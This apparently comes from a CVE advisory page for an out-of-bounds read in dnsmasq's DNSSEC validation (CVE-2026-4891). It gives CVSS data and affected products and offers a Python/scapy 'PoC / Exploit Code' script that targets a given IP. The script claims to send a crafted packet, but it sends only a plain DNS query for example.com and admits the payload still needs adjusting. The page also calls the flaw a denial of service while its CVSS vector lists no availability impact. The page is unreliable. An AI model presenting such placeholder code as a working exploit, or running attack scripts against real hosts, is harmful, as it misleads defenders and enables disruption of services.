A heap-based out-of-bounds read vulnerability in the DNSSEC validation of dnsmasq allows remote attackers to cause a denial of service via a crafted DNS packet.
CVSS Details
CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Configurations (Affected Products)
No configuration data available.
dnsmasq (具体受影响版本需参考厂商公告)
Pi-hole FTL < v6.6.2
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
"""
PoC for CVE-2026-4891
Description: Heap-based out-of-bounds read in dnsmasq DNSSEC validation.
This script sends a crafted DNS packet to the target.
Usage: python3 poc.py <target_ip>
"""
import sys
from scapy.all import IP, UDP, DNS, DNSQR, send
def send_exploit(target_ip):
# Construct a crafted DNS packet
ip = IP(dst=target_ip)
udp = UDP(sport=12345, dport=53)
# Crafted DNS query with specific flags to trigger validation
# Note: Adjust specific payload based on technical analysis of the bug
dns = DNS(
id=1337,
qr=0,
opcode=0,
rd=1,
qdcount=1,
qd=DNSQR(qname="example.com", qtype="A")
)
packet = ip/udp/dns
send(packet, verbose=0)
print(f"[+] Packet sent to {target_ip}")
if __name__ == "__main__":
if len(sys.argv) != 2:
print("Usage: python3 poc.py <target_ip>")
sys.exit(1)
send_exploit(sys.argv[1])